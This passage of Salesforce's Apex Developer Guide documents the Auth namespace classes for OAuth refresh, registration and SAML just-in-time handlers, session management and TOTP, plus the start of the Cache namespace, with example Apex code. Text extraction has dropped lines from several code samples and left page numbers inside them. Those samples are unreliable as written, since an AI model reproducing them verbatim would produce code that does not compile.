Creates an instance of the OAuthRefreshResult class using the specified access token and refresh token for a custom
authentication provider plug-in. Use this method when you know that the refresh was successful.
731
OAuthRefreshResult(accessToken, refreshToken, error)

Creates an instance of the OAuthRefreshResult class using the specified access token, refresh token, and error for a custom
authentication provider plug-in.
Signature
public OAuthRefreshResult(String accessToken, String refreshToken, String error)
Parameters
accessToken
Type: String
OAuth access token for the user who is currently logged in.
refreshToken
Type: String
OAuth refresh token for the user who is currently logged in.
error
Type: String
Error that occurred when a user attempted to authenticate with the custom authentication provider.
OAuthRefreshResult(accessToken, refreshToken)
Creates an instance of the OAuthRefreshResult class using the specified access token and refresh token for a custom authentication
provider plug-in. Use this method when you know that the refresh was successful.
Signature
public OAuthRefreshResult(String accessToken, String refreshToken)
Parameters
accessToken
Type: String
The OAuth access token for the user who is logged in.
refreshToken
Type: String
The OAuth refresh token for the user who is logged in.
OAuthRefreshResult Properties
The following are properties for OAuthRefreshResult.
IN THIS SECTION:
accessToken
The OAuth access token for the user who is currently logged in.
732
error
Error that occurs when a user unsuccessfully attempts to authenticate with the custom authentication provider.
refreshToken
The OAuth refresh token for the user who is currently logged in.
accessToken
The OAuth access token for the user who is currently logged in.
Signature
public String accessToken {get; set;}
Property Value
Type: String
error
Error that occurs when a user unsuccessfully attempts to authenticate with the custom authentication provider.
Signature
public String error {get; set;}
Property Value
Type: String
refreshToken
The OAuth refresh token for the user who is currently logged in.
Signature
public String refreshToken {get; set;}
Property Value
Type: String
RegistrationHandler Interface
Salesforce provides the ability to use an authentication provider, such as Facebook© or Janrain©, for single sign-on into Salesforce.
Namespace
Auth
733
Usage
To set up single sign-on, you must create a class that implements Auth.RegistrationHandler. Classes implementing the
Auth.RegistrationHandler interface are specified as the Registration Handler in authorization provider definitions,
and enable single sign-on into Salesforce portals and organizations from third-party services such as Facebook. Using information from
the authentication providers, your class must perform the logic of creating and updating user data as appropriate, including any associated
account and contact records.
IN THIS SECTION:
RegistrationHandler Methods
Storing User Information and Getting Access Tokens
Auth.RegistrationHandler Example Implementation
Auth.RegistrationHandler Error Example
This example implements the Auth.RegistrationHandler interface and shows how to use a custom exception to display
an error message on the page to the user. If you don’t use a custom exception, the error code and description (if they’re available)
appear in the URL and the error description (if available) appears on the page.
RegistrationHandler Methods
The following are methods for RegistrationHandler.
IN THIS SECTION:
createUser(portalId, userData)
Returns a User object using the specified portal ID and user information from the third party, such as the username and email address.
The User object corresponds to the third party’s user information and may be a new user that hasn’t been inserted in the database
or may represent an existing user record in the database.
updateUser(userId, portalId, userData)
Updates the specified user’s information. This method is called if the user has logged in before with the authorization provider and
then logs in again, or if your application is using the Existing User Linking URL. This URL is generated when you define
your authentication provider.
createUser(portalId, userData)
Returns a User object using the specified portal ID and user information from the third party, such as the username and email address.
The User object corresponds to the third party’s user information and may be a new user that hasn’t been inserted in the database or
may represent an existing user record in the database.
Signature
public User createUser(ID portalId, Auth.UserData userData)
Parameters
portalId
Type: ID
userData
Type: Auth.UserData
734
Return Value
Type: User
Usage
The portalID value may be null or an empty key if there is no portal configured with this provider.
updateUser(userId, portalId, userData)

Updates the specified user’s information. This method is called if the user has logged in before with the authorization provider and then
logs in again, or if your application is using the Existing User Linking URL. This URL is generated when you define your
Signature
public Void updateUser(ID userId, ID portalId, Auth.UserData userData)
Parameters
userId
Type: ID
portalId
Type: ID
userData
Type: Auth.UserData
Return Value
Type: Void
Usage
The portalID value may be null or an empty key if there is no portal configured with this provider.
Storing User Information and Getting Access Tokens

The Auth.UserData class is used to store user information for Auth.RegistrationHandler. The third-party authorization
provider can send back a large collection of data about the user, including their username, email address, locale, and so on. Frequently
used data is converted into a common format with the Auth.UserData class and sent to the registration handler.
If the registration handler wants to use the rest of the data, the Auth.UserData class has an attributeMap variable. The
attribute map is a map of strings (Map<String, String>) for the raw values of all the data from the third party. Because the map
is <String, String>, values that the third party returns that are not strings (like an array of URLs or a map) are converted into an
appropriate string representation. The map includes everything returned by the third-party authorization provider, including the items
automatically converted into the common format.
The constructor for Auth.UserData has the following syntax:
Auth.UserData(String identifier,
String firstName,
String lastName,
735
String fullName,
String email,
String link,
String userName,
String locale,
String provider,
String siteLoginUrl,
Map<String, String> attributeMap)
To learn about Auth.UserData properties, see Auth.UserData Class.
Note: You can only perform DML operations on additional sObjects in the same transaction with User objects under certain
circumstances. For more information, see sObjects That Cannot Be Used Together in DML Operations.
For all authentication providers except Janrain, after a user is authenticated using a provider, the access token associated with that
provider for this user can be obtained in Apex using the Auth.AuthToken Apex class. Auth.AuthToken provides two methods
to retrieve access tokens. One is getAccessToken, which obtains a single access token. Use this method if the user ID is mapped
to a single third-party user. If the user ID is mapped to multiple third-party users, use getAccessTokenMap, which returns a map
of access tokens for each third-party user. For more information about authentication providers, see “External Authentication Providers”
in the Salesforce online help.
When using Janrain as an authentication provider, you need to use the Janrain accessCredentials dictionary values to retrieve
the access token or its equivalent. Only some providers supported by Janrain provide an access token, while other providers use other
fields. The Janrain accessCredentials fields are returned in the attributeMap variable of the Auth.UserData class.
See the Janrain auth_info documentation for more information on accessCredentials.
Note: Not all Janrain account types return accessCredentials. You may need to change your account type to receive the
information.
To learn about the Auth.AuthToken methods, see Auth.AuthToken Class.
Auth.RegistrationHandler Example Implementation

This example implements the Auth.RegistrationHandler interface that creates as well as updates a standard user based on
data provided by the authorization provider. Error checking has been omitted to keep the example simple.
global class StandardUserRegistrationHandler implements Auth.RegistrationHandler{
global User createUser(Id portalId, Auth.UserData data){
User u = new User();
Profile p = [SELECT Id FROM profile WHERE name='Standard User'];
u.username = data.username + '@salesforce.com';
u.email = data.email;
u.lastName = data.lastName;
u.firstName = data.firstName;
String alias = data.username;
if(alias.length() > 8) {
alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = data.attributeMap.get('language');
u.localesidkey = data.locale;
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
return u;
736
global void updateUser(Id userId, Id portalId, Auth.UserData data){

User u = new User(id=userId);
u.username = data.username + '@salesforce.com';
u.email = data.email;
String alias = data.username;
if(alias.length() > 8) {
alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = data.attributeMap.get('language');
u.localesidkey = data.locale;
update(u);
}
}
The following example tests the above code.

@isTest
private class StandardUserRegistrationHandlerTest {
static testMethod void testCreateAndUpdateUser() {
StandardUserRegistrationHandler handler = new StandardUserRegistrationHandler();
Auth.UserData sampleData = new Auth.UserData('testId', 'testFirst', 'testLast',
'testFirst testLast', 'testuser@example.org', null, 'testuserlong', 'en_US',
'facebook',
null, new Map<String, String>{'language' => 'en_US'});
User u = handler.createUser(null, sampleData);
System.assertEquals('testuserlong@salesforce.com', u.userName);
System.assertEquals('testuser@example.org', u.email);
System.assertEquals('testLast', u.lastName);
System.assertEquals('testFirst', u.firstName);
System.assertEquals('testuser', u.alias);
insert(u);
String uid = u.id;
sampleData = new Auth.UserData('testNewId', 'testNewFirst', 'testNewLast',

'testNewFirst testNewLast', 'testnewuser@example.org', null, 'testnewuserlong',
'en_US', 'facebook',
null, new Map<String, String>{});
handler.updateUser(uid, null, sampleData);
User updatedUser = [SELECT userName, email, firstName, lastName, alias FROM user WHERE
id=:uid];
System.assertEquals('testnewuserlong@salesforce.com', updatedUser.userName);
System.assertEquals('testnewuser@example.org', updatedUser.email);
System.assertEquals('testNewLast', updatedUser.lastName);
System.assertEquals('testNewFirst', updatedUser.firstName);
System.assertEquals('testnewu', updatedUser.alias);
}
}
737
Auth.RegistrationHandler Error Example

This example implements the Auth.RegistrationHandler interface and shows how to use a custom exception to display an
error message on the page to the user. If you don’t use a custom exception, the error code and description (if they’re available) appear
in the URL and the error description (if available) appears on the page.
To limit this example to the custom exception, some code was omitted.
global class RegHandler implements Auth.RegistrationHandler {
class RegHandlerException extends Exception {}
global User createUser(Id portalId, Auth.UserData data){

List<Profile> profiles = [SELECT Id, Name, UserType FROM Profile WHERE Name =
'Power User'];
Profile profile = profiles.isEmpty() ? null : profiles[0];
if(profile==null)
throw new RegHandlerException('Cannot find the profile. For help, contact
your administrator.');
...
}
global void updateUser(Id userId, Id portalId, Auth.UserData data){

User u = new User(id=userId);
update(u);
}
}
SamlJitHandler Interface
Use this interface to control and customize Just-in-Time user provisioning logic during SAML single sign-on.
Namespace
Auth
Usage
To use custom logic for user provisioning during SAML single sign-on, you must create a class that implements
Auth.SamlJitHandler. This allows you to incorporate organization-specific logic (such as populating custom fields) when users
log in to Salesforce with single sign-on. Keep in mind that your class must perform the logic of creating and updating user data as
appropriate, including any associated account and contact records.
In Salesforce, you specify your class that implements this interface in the SAML JIT Handler field in SAML Single Sign-On Settings.
Make sure that the user you specify to run the class has “Manage Users” permission.
IN THIS SECTION:
SamlJitHandler Methods
SamlJitHandler Example Implementation
738
SamlJitHandler Methods
The following are methods for SamlJitHandler.
IN THIS SECTION:
createUser(samlSsoProviderId, communityId, portalId, federationId, attributes, assertion)
Returns a User object using the specified Federation ID. The User object corresponds to the user information and may be a new user
that hasn’t t been inserted in the database or may represent an existing user record in the database.
updateUser(userId, samlSsoProviderId, communityId, portalId, federationId, attributes, assertion)
Updates the specified user’s information. This method is called if the user has logged in before with SAML single sign-on and then
logs in again, or if your application is using the Existing User Linking URL.
createUser(samlSsoProviderId, communityId, portalId, federationId, attributes,

assertion)
Returns a User object using the specified Federation ID. The User object corresponds to the user information and may be a new user
that hasn’t t been inserted in the database or may represent an existing user record in the database.
Signature
public User createUser(Id samlSsoProviderId, Id communityId, Id portalId, String
federationId, Map<String,String> attributes, String assertion)
Parameters
samlSsoProviderId
Type: Id
The ID of the SamlSsoConfig standard object.
communityId
Type: Id
The ID of the community. This parameter can be null if you’re not creating a community user.
portalId
Type: Id
The ID of the portal. This parameter can be null if you’re not creating a portal user.
federationId
Type: String
The ID Salesforce expects to be used for this user.
attributes
All of the attributes in the SAML assertion that were added to the default assertion; for example, custom attributes. Attributes are
case-sensitive.
assertion
Type: String
The default SAML assertion, base-64 encoded.
739
Return Value
Type: User
A User sObject.
Usage
The communityId and portalId parameter values may be null or an empty key if there is no community or portal configured
with this organization.
updateUser(userId, samlSsoProviderId, communityId, portalId, federationId,

attributes, assertion)
Updates the specified user’s information. This method is called if the user has logged in before with SAML single sign-on and then logs
in again, or if your application is using the Existing User Linking URL.
Signature
public void updateUser(Id userId, Id samlSsoProviderId, Id communityId, Id portalId,
String federationId, Map<String,String> attributes, String assertion)
Parameters
userId
Type: Id
The ID of the Salesforce user.
samlSsoProviderId
Type: Id
The ID of the SamlSsoConfig object.
communityId
Type: Id
The ID of the community. This can be null if you’re not updating a community user.
portalId
Type: Id
The ID of the portal. This can be null if you’re not updating a portal user.
federationId
Type: String
The ID Salesforce expects to be used for this user.
attributes
All of the attributes in the SAML assertion that were added to the default assertion; for example, custom attributes. Attributes are
case-sensitive.
assertion
Type: String
The default SAML assertion, base-64 encoded.
740
Return Value
Type: void
SamlJitHandler Example Implementation

This is an example implementation of the Auth.SamlJitHandler interface. This code uses private methods to handle accounts
and contacts (handleContact() and handleAccount()), which aren’t included in this example.
global class StandardUserHandler implements Auth.SamlJitHandler {
private class JitException extends Exception{}
private void handleUser(boolean create, User u, Map<String, String> attributes,
String federationIdentifier, boolean isStandard) {
if(create && attributes.containsKey('User.Username')) {
u.Username = attributes.get('User.Username');
}
if(create) {
if(attributes.containsKey('User.FederationIdentifier')) {
u.FederationIdentifier = attributes.get('User.FederationIdentifier');
} else {
u.FederationIdentifier = federationIdentifier;
}
}
if(attributes.containsKey('User.ProfileId')) {
String profileId = attributes.get('User.ProfileId');
Profile p = [SELECT Id FROM Profile WHERE Id=:profileId];
u.ProfileId = p.Id;
}
if(attributes.containsKey('User.UserRoleId')) {
String userRole = attributes.get('User.UserRoleId');
UserRole r = [SELECT Id FROM UserRole WHERE Id=:userRole];
u.UserRoleId = r.Id;
}
if(attributes.containsKey('User.Phone')) {
u.Phone = attributes.get('User.Phone');
}
if(attributes.containsKey('User.Email')) {
u.Email = attributes.get('User.Email');
}
//More attributes here - removed for length
//Handle custom fields here
if(!create) {
update(u);
}
}
private void handleJit(boolean create, User u, Id samlSsoProviderId, Id communityId,

Id portalId,
String federationIdentifier, Map<String, String> attributes, String assertion) {
if(communityId != null || portalId != null) {
String account = handleAccount(create, u, attributes);
handleContact(create, account, u, attributes);
741
handleUser(create, u, attributes, federationIdentifier, false);

} else {
handleUser(create, u, attributes, federationIdentifier, true);
}
}
global User createUser(Id samlSsoProviderId, Id communityId, Id portalId,

User u = new User();
handleJit(true, u, samlSsoProviderId, communityId, portalId,
federationIdentifier, attributes, assertion);
return u;
}
global void updateUser(Id userId, Id samlSsoProviderId, Id communityId, Id portalId,

User u = [SELECT Id FROM User WHERE Id=:userId];
handleJit(false, u, samlSsoProviderId, communityId, portalId,
federationIdentifier, attributes, assertion);
}
}
SessionManagement Class
Contains methods for customizing security levels, two-factor authentication, and trusted IP ranges for a current session.
Namespace
Auth
SessionManagement Methods
The following are methods for SessionManagement. All methods are static. Use these methods to customize your two-factor
authentication implementation and manage the use of time-based one-time password (TOTP) apps like Google Authenticator with a
Salesforce organization. Or, use them to validate a user’s incoming IP address against trusted IP range settings for an organization or
profile.
IN THIS SECTION:
generateVerificationUrl(policy, description, destinationUrl)
Initiates a user identity verification flow with the verification method that the user registered with, and returns a URL to the identity
verification screen. For example, if you have a custom Visualforce page that displays sensitive account details, you can prompt the
user to verify identity before viewing it.
getCurrentSession()
Returns a map of attributes for the current session.
getRequiredSessionLevelForProfile(profileId)
Indicates the required login security session level for the given profile.
getQrCode()
Returns a map containing a URL to a quick response (QR) code and a time-based one-time password (TOTP) shared secret to configure
two-factor authentication apps or devices.
742
ignoreForConcurrentSessionLimit(sessions)
This method is reserved for internal Salesforce use.
inOrgNetworkRange(ipAddress)
Indicates whether the given IP address is within the organization's trusted IP range according to the organization's Network Access
settings.
isIpAllowedForProfile(profileId, ipAddress)
Indicates whether the given IP address is within the trusted IP range for the given profile.
setSessionLevel(level)
Sets the user's current session security level.
validateTotpTokenForKey(sharedKey, totpCode)
Deprecated. Use validateTotpTokenForKey(totpSharedKey, totpCode, description) instead.
validateTotpTokenForKey(totpSharedKey, totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the given shared key.
validateTotpTokenForUser(totpCode)
Deprecated. Use validateTotpTokenForUser(totpCode, description) instead.
validateTotpTokenForUser(totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the current user.
generateVerificationUrl(policy, description, destinationUrl)

Initiates a user identity verification flow with the verification method that the user registered with, and returns a URL to the identity
verification screen. For example, if you have a custom Visualforce page that displays sensitive account details, you can prompt the user
to verify identity before viewing it.
Signature
public static String generateVerificationUrl(Auth.VerificationPolicy policy, String
description, String destinationUrl)
Parameters
policy
Type: Auth.VerificationPolicy
The session security policy required to initiate identity verification for the user’s session. For example, if the policy is set to High
Assurance level of session security, and the user’s current session has the standard level of session security, the user’s session is raised
to high assurance after successful verification of identity. In the Setup user interface, this value is shown in the Triggered By column
of Identity Verification History.
description
Type: String
The custom description that describes the activity requiring identity verification; for example, “Complete purchase and check out”.
This text appears to users when they verify their identity in Salesforce and, if they use Salesforce Authenticator version 2 or later, in
the Salesforce Authenticator mobile app. In addition, in the Setup user interface, this text is shown in the Activity Message column
of Identity Verification History.
destinationUrl
Type: String
743
The relative or absolute Salesforce URL that you want to redirect the user to after identity verification—for example, /apex/mypage.
The user is redirected to destinationUrl when the identity verification flow is complete, regardless of success. For example,
if a user chooses to not respond to the identity challenge and cancels it, the user is still redirected to destinationUrl. As a
best practice, ensure that your code for this page manually checks that the security policy was satisfied (and the user didn’t just
manually type the URL in the browser). For example, if the policy is High Assurance, the target page checks that the user's session
is high assurance before allowing access.
Return Value
Type: String
The URL where the user is redirected to verify identity.
Usage
• If the user is already registered to confirm identity using a time-based one-time password (TOTP), then the user is redirected to the
one-time password identity verification flow and asked to provide a code.
• If the user isn’t registered with any verification method (such as one-time password or Salesforce Authenticator version 2 or later),
the user is prompted to download and verify identity using Salesforce Authenticator. The user can also choose a different verification
method.
getCurrentSession()
Returns a map of attributes for the current session.
Signature
public static Map<String, String> getCurrentSession()
Return Value
Usage
The map includes a ParentId value, which is the 18-character ID for the parent session, if one exists (for example, if the current
session is for a canvas app). If the current session doesn’t have a parent, this value is null. The map also includes the LogoutUrl
assigned to the current session.
Note: When a session is reused, Salesforce updates the LoginHistoryId with the value from the most recent login.
Example
The following example shows the name-value pairs in a map returned by getCurrentSession(). Note that UsersId includes
an “s” in the name to match the name of the corresponding field in the AuthSession object.
{
SessionId=0Ak###############,
UserType=Standard,
ParentId=0Ak###############,
NumSecondsValid=7200,
LoginType=SAML Idp Initiated SSO,
744
LoginDomain=null,
LoginHistoryId=0Ya###############,
Username=user@domain.com,
CreatedDate=Wed Jul 30 19:09:29 GMT 2014,
SessionType=Visualforce,
LastModifiedDate=Wed Jul 30 19:09:16 GMT 2014,
LogoutUrl=https://google.com,
SessionSecurityLevel=STANDARD,
UsersId=005###############,
SourceIp=1.1.1.1
}
getRequiredSessionLevelForProfile(profileId)
Indicates the required login security session level for the given profile.
Signature
public static Auth.SessionLevel getRequiredSessionLevelForProfile(String profileId)
Parameters
profileId
Type: String
The 15-character profile ID.
Return Value
Type: Auth.SessionLevel
The session security level required at login for the profile with the ID profileId. You can customize the assignment of each level in
Session Settings. For example, you can set the High Assurance level to apply only to users who authenticated with two-factor authentication
or through a specific identity provider.
getQrCode()
Returns a map containing a URL to a quick response (QR) code and a time-based one-time password (TOTP) shared secret to configure
two-factor authentication apps or devices.
Signature
public static Map<String, String> getQrCode()
Return Value
Usage
The QR code encodes the returned secret as well as the current user's username. The keys are qrCodeUrl and secret. Calling this
method does not change any state for the user, nor does it read any state from the user. This method returns a brand new secret every
745
time it is called, does not save that secret anywhere, and does not validate the TOTP token. The admin must explicitly save the values
for the user after verifying a TOTP token with the secret.
The secret is a base32-encoded string of a 20-byte shared key.
Example
The following is an example of how to request the QR code.
public String getGetQRCode() {
return getQRCode();
}
public String getQRCode() {
Map<String, String> codeResult = Auth.SessionManagement.getQrCode();
String result = 'URL: '+codeResult.get('qrCodeUrl') + ' SECRET: ' +
codeResult.get('secret');
return result;
}
The following is an example of a returned map.

{qrCodeUrl=https://www.salesforce.com/secur/qrCode?w=200&h=200&t=tf&u=user%0000000000.com&s=AAAAA7B5BBBB5AAAAAAA66BBBB,
secret=AAAAA7B5AAAAAA5BBBBBBBBB66AAA}
ignoreForConcurrentSessionLimit(sessions)
This method is reserved for internal Salesforce use.
Signature
public static Map<String,String> ignoreForConcurrentSessionLimit(Object sessions)
Parameters
sessions
Type: Object
Return Value
inOrgNetworkRange(ipAddress)
Indicates whether the given IP address is within the organization's trusted IP range according to the organization's Network Access
settings.
Signature
public static Boolean inOrgNetworkRange(String ipAddress)
746
Parameters
ipAddress
Type: String
The IP address to validate.
Return Value
Type: Boolean
Usage
If a trusted IP range is not defined, this returns false, and throws an exception if the IP address is not valid.
Trusted IP Range Exists? User is in the Trusted IP Range? Return Value

Yes Yes true
Yes No false
No N/A false
isIpAllowedForProfile(profileId, ipAddress)
Indicates whether the given IP address is within the trusted IP range for the given profile.
Signature
public static Boolean isIpAllowedForProfile(String profileId, String ipAddress)
Parameters
profileId
Type: String
The 15-character alphanumeric string for the current user’s profile ID.
ipAddress
Type: String
The IP address to validate.
Return Value
Type: Boolean
Usage
If a trusted IP range is not defined, this returns true, and throws an exception if the IP address is not valid or if the profile ID is not valid.

Yes Yes true
747

Yes No false
No N/A true
setSessionLevel(level)
Sets the user's current session security level.
Signature
public static Void setSessionLevel(Auth.SessionLevel level)
Parameters
level
Type: Auth.SessionLevel
The session security level to assign to the user. The meaning of each level can be customized in the Session Settings for each
organization, such as setting the High Assurance level to apply only to users who authenticated with two-factor authentication or
through a specific identity provider.
Return Value
Type: Void
Usage
This setting affects the session level of all sessions associated with the current session, such as Visualforce, Salesforce Files Sync, or UI
access.
Example
The following is an example class for setting the session level.
public class RaiseSessionLevel{
public void setLevelHigh() {
Auth.SessionManagement.setSessionLevel(Auth.SessionLevel.HIGH_ASSURANCE);
}
public void setLevelStandard() {
Auth.SessionManagement.setSessionLevel(Auth.SessionLevel.STANDARD);
}
}
validateTotpTokenForKey(sharedKey, totpCode)
Deprecated. Use validateTotpTokenForKey(totpSharedKey, totpCode, description) instead.
Signature
public static Boolean validateTotpTokenForKey(String sharedKey, String totpCode)
748
Parameters
sharedKey
Type: String
The shared (secret) key. The sharedKey must be a base32-encoded string of a 20-byte shared key.
totpCode
Type: String
The time-based one-time password (TOTP) code to validate.
Return Value
Type: Boolean
Usage
If the key is invalid or doesn’t exist, this method throws an invalid parameter value exception or a no data found exception, respectively.
If the current user exceeds the maximum of 10 token validation attempts, this method throws a security exception.
validateTotpTokenForKey(totpSharedKey, totpCode, description)

Indicates whether a time-based one-time password (TOTP) code (token) is valid for the given shared key.
Signature
public static Boolean validateTotpTokenForKey(String totpSharedKey, String totpCode,
String description)
Parameters
totpSharedKey
Type: String
The shared (secret) key. The totpSharedKey must be a base32-encoded string of a 20-byte shared key.
totpCode
Type: String
description
Type: String
In the Setup user interface, this text is shown in the Activity Message column of Identity Verification History. The description
must be 128 characters or fewer. If you provide a value that’s longer, it’s truncated to 128 characters.
Return Value
Type: Boolean
749
Usage
If the key is invalid or doesn’t exist, this method throws an invalid parameter value exception or a no data found exception, respectively.
If the current user exceeds the maximum of 10 token validation attempts, this method throws a security exception.
validateTotpTokenForUser(totpCode)
Deprecated. Use validateTotpTokenForUser(totpCode, description) instead.
Signature
public static Boolean validateTotpTokenForUser(String totpCode)
Parameters
totpCode
Type: String
Return Value
Type: Boolean
Usage
If the current user does not have a TOTP code, this method throws an exception. If the current user has attempted too many validations,
this method throws an exception.
validateTotpTokenForUser(totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the current user.
Signature
public static Boolean validateTotpTokenForUser(String totpCode, String description)
Parameters
totpCode
Type: String
description
Type: String
This text appears to users when they verify their identity in Salesforce and, if they use Salesforce Authenticator version 2 or later, in
the Salesforce Authenticator mobile app. In addition, in the Setup user interface, this text is shown in the Activity Message column
of Identity Verification History. The description must be 128 characters or fewer. If you provide a value that’s longer, it’s
truncated to 128 characters.
750
Return Value
Type: Boolean
Usage
If the current user does not have a TOTP code, or if the current user has attempted too many validations, this method throws an exception.
SessionLevel Enum
An Auth.SessionLevel enum value is used by the SessionManagement.setSessionLevel method.
Namespace
Auth
Enum Values
Value Description
LOW The user’s security level for the current session meets the lowest requirements.
Note: This low level is not available, nor used, in the Salesforce UI. User
sessions through the Salesforce UI are either standard or high assurance. You
can set this level using the API, but users assigned this level will experience
unpredictable and reduced functionality in their Salesforce organization.
STANDARD The user’s security level for the current session meets the Standard requirements
set in the current organization Session Security Levels.
HIGH_ASSURANCE The user’s security level for the current session meets the High Assurance
requirements set in the current organization Session Security Levels.
Usage
Session-level security controls user access to features that support it, such as connected apps and reporting. For example, You can
customize an organization’s Session Settings to require users to log in with two-factor authentication to get a High Assurance session.
Then, you can restrict access to a specific connected app by requiring a High Assurance session level in the settings for the connected
app.
UserData Class
Stores user information for Auth.RegistrationHandler.
Namespace
Auth
751
IN THIS SECTION:
UserData Constructors
UserData Properties
UserData Constructors
The following are constructors for UserData.
IN THIS SECTION:
UserData(identifier, firstName, lastName, fullName, email, link, userName, locale, provider, siteLoginUrl, attributeMap)
Creates a new instance of the Auth.UserData class using the specified arguments.
UserData(identifier, firstName, lastName, fullName, email, link, userName, locale,

provider, siteLoginUrl, attributeMap)
Creates a new instance of the Auth.UserData class using the specified arguments.
Signature
public UserData(String identifier, String firstName, String lastName, String fullName,
String email, String link, String userName, String locale, String provider, String
siteLoginUrl, Map<String,String> attributeMap)
Parameters
identifier
Type: String
An identifier from the third party for the authenticated user, such as the Facebook user number or the Salesforce user ID.
firstName
Type: String
The first name of the authenticated user, according to the third party.
lastName
Type: String
The last name of the authenticated user, according to the third party.
fullName
Type: String
The full name of the authenticated user, according to the third party.
email
Type: String
The email address of the authenticated user, according to the third party.
link
Type: String
A stable link for the authenticated user such as https://www.facebook.com/MyUsername.
752
userName
Type: String
The username of the authenticated user in the third party.
locale
Type: String
The standard locale string for the authenticated user.
provider
Type: String
The service used to log in, such as Facebook or Janrain.
siteLoginUrl
Type: String
The site login page URL passed in if used with a site; null otherwise.
attributeMap
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a
provider, the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields
vary by provider.
UserData Properties
The following are properties for UserData.
IN THIS SECTION:
identifier
firstName
lastName
fullName
email
link
username
locale
provider
753
siteLoginUrl
attributeMap
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a
provider, the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields
vary by provider.
identifier
Signature
public String identifier {get; set;}
Property Value
Type: String
firstName
Signature
public String firstName {get; set;}
Property Value
Type: String
lastName
Signature
public String lastName {get; set;}
Property Value
Type: String
fullName
Signature
public String fullName {get; set;}
754
Property Value
Type: String
email
Signature
public String email {get; set;}
Property Value
Type: String
link
Signature
public String link {get; set;}
Property Value
Type: String
username
Signature
public String username {get; set;}
Property Value
Type: String
locale
Signature
public String locale {get; set;}
Property Value
Type: String
755
provider
Signature
public String provider {get; set;}
Property Value
Type: String
siteLoginUrl
Signature
public String siteLoginUrl {get; set;}
Property Value
Type: String
attributeMap
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a provider,
the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields vary by provider.
Signature
public Map<String, String> attributeMap {get; set;}
Property Value
VerificationPolicy Enum
The Auth.VerificationPolicy enum contains an identity verification policy value used by the
SessionManagement.generateVerificationUrl method.
Usage
The enum value is an argument in the SessionManagement.generateVerificationUrl method. The value indicates
the session security policy required to initiate identity verification for the user’s session.
Enum Values
The following are the values of the Auth.VerificationPolicy enum.
756
Value Description
HIGH_ASSURANCE The security level for the user’s current session must be High Assurance.
Auth Exceptions
The Auth namespace contains some exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The Auth namespace contains the following exception.
Exception Description Methods

Auth.AuthProviderPluginException Throw this exception to indicate that an To get the error message and write it
error occurred when using the auth to debug log, use the String
provider plug-in. Use to display a custom getMessage().
error message to the user.
Auth.ConnectedAppPluginException Throw this exception to indicate that an To get the error message and write it
error occurred while running the custom to debug log, use the String
behavior for a connected app. getMessage().
Auth.JWTBearerTokenExchange. Throw this exception to indicate a problem To get the error message and write it
JWTBearerTokenExchangeException with the response from the token to debug log, use the String
endpoint in the JWTBearerTokenExchange getMessage().
class. This exception occurs when the HTTP
response during the OAuth 2.0 JWT bearer
token flow:
• Fails to return an access token.
• Is not in JSON format.
• Returns a response code other than a
200 “OK” success code.
Example
This example uses AuthProviderPluginException to throw a custom error message on any method in a custom authentication
provider implementation. Use this exception if you want the end user to see a specific message, passing in the error message as a
parameter. If you use another exception, users see a standard Salesforce error message.
global override Auth.OAuthRefreshResult refresh(Map<string,string>
authProviderConfiguration,String refreshToken){
String accessToken = null;
String error = null;
try {
// DEVELOPER TODO: Make a refresh token flow using refreshToken passed

// in as an argument to get the new access token
// accessToken = ...
757
Apex Developer Guide Cache Namespace
} catch (System.CalloutException e) {
error = e.getMessage();
}
catch(Exception e) {
error = e.getMessage();
throw new Auth.AuthProviderPluginException('My custom error');
}
return new Auth.OAuthRefreshResult(accessToken,refreshToken, error);
Cache Namespace
The Cache namespace contains methods for managing the platform cache.
The following are the classes in the Cache namespace.
IN THIS SECTION:
An interface for safely retrieving and removing values from a session or org cache. Use the interface to generate a value that you
want to store in the cache. The interface checks for cache misses, which means you no longer need to check for null cache values
yourself.
Org Class
Use the Cache.Org class to add, retrieve, and manage values in the org cache. Unlike the session cache, the org cache is not tied
to any session and is available to the organization across requests and to all users.
OrgPartition Class
Contains methods to manage cache values in the org cache of a specific partition. Unlike the session cache, the org cache is not tied
to any session. It’s available to the organization across requests and to all users.
Partition Class
Base class of Cache.OrgPartition and Cache.SessionPartition. Use the subclasses to manage the cache partition
for org caches and session caches.
Session Class
Use the Cache.Session class to add, retrieve, and manage values in the session cache. The session cache is active as long as
the user’s Salesforce session is valid (the user is logged in, and the session is not expired).
Contains methods to manage cache values in the session cache of a specific partition.
Cache Exceptions
The Cache namespace contains exception classes.
Visibility Enum
Use the Cache.Visibility enumeration in the Cache.Session or Cache.Org methods to indicate whether a cached
value is visible only in the value’s namespace or in all namespaces.
SEE ALSO:
Platform Cache
758
An interface for safely retrieving and removing values from a session or org cache. Use the interface to generate a value that you want
to store in the cache. The interface checks for cache misses, which means you no longer need to check for null cache values yourself.
Namespace
Cache
IN THIS SECTION:
CacheBuilder Methods
CacheBuilder Example Implementation
SEE ALSO:
CacheBuilder Methods
The following are methods for CacheBuilder.
IN THIS SECTION:
doLoad(var)
Contains the logic that builds a cached value. You don’t call this method directly. Instead, it’s called indirectly when you reference
the class that implements the CacheBuilder interface.
doLoad(var)
Contains the logic that builds a cached value. You don’t call this method directly. Instead, it’s called indirectly when you reference the
class that implements the CacheBuilder interface.
Signature
public Object doLoad(String var)
Parameters
var
Type: String
A case-sensitive string value used to build a cached value. This parameter is also used as part of the unique key that identifies the
cached value.
Return Value
Type: Object
The value that was cached. Cast the return value to the appropriate type.
759
CacheBuilder Example Implementation

This example creates a class called UserInfoCache that implements the CacheBuilder interface. The class caches the results
of a SOQL query run against the User object.
class UserInfoCache implements Cache.CacheBuilder {
public Object doLoad(String userid) {
User u = (User)[SELECT Id, IsActive, username FROM User WHERE id =: userid];
return u;
}
}
